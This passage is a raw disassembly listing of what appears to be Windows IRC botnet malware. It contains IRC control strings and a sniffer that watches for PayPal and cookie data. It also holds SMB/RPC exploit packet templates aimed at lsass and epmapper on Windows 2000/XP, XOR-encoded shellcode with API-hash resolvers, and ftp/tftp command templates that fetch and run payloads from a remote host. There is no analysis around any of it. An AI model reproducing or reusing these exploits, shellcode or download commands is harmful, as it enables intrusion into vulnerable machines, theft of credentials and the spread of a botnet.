6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset loc_544F3E+4 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset unk_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset dword_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: 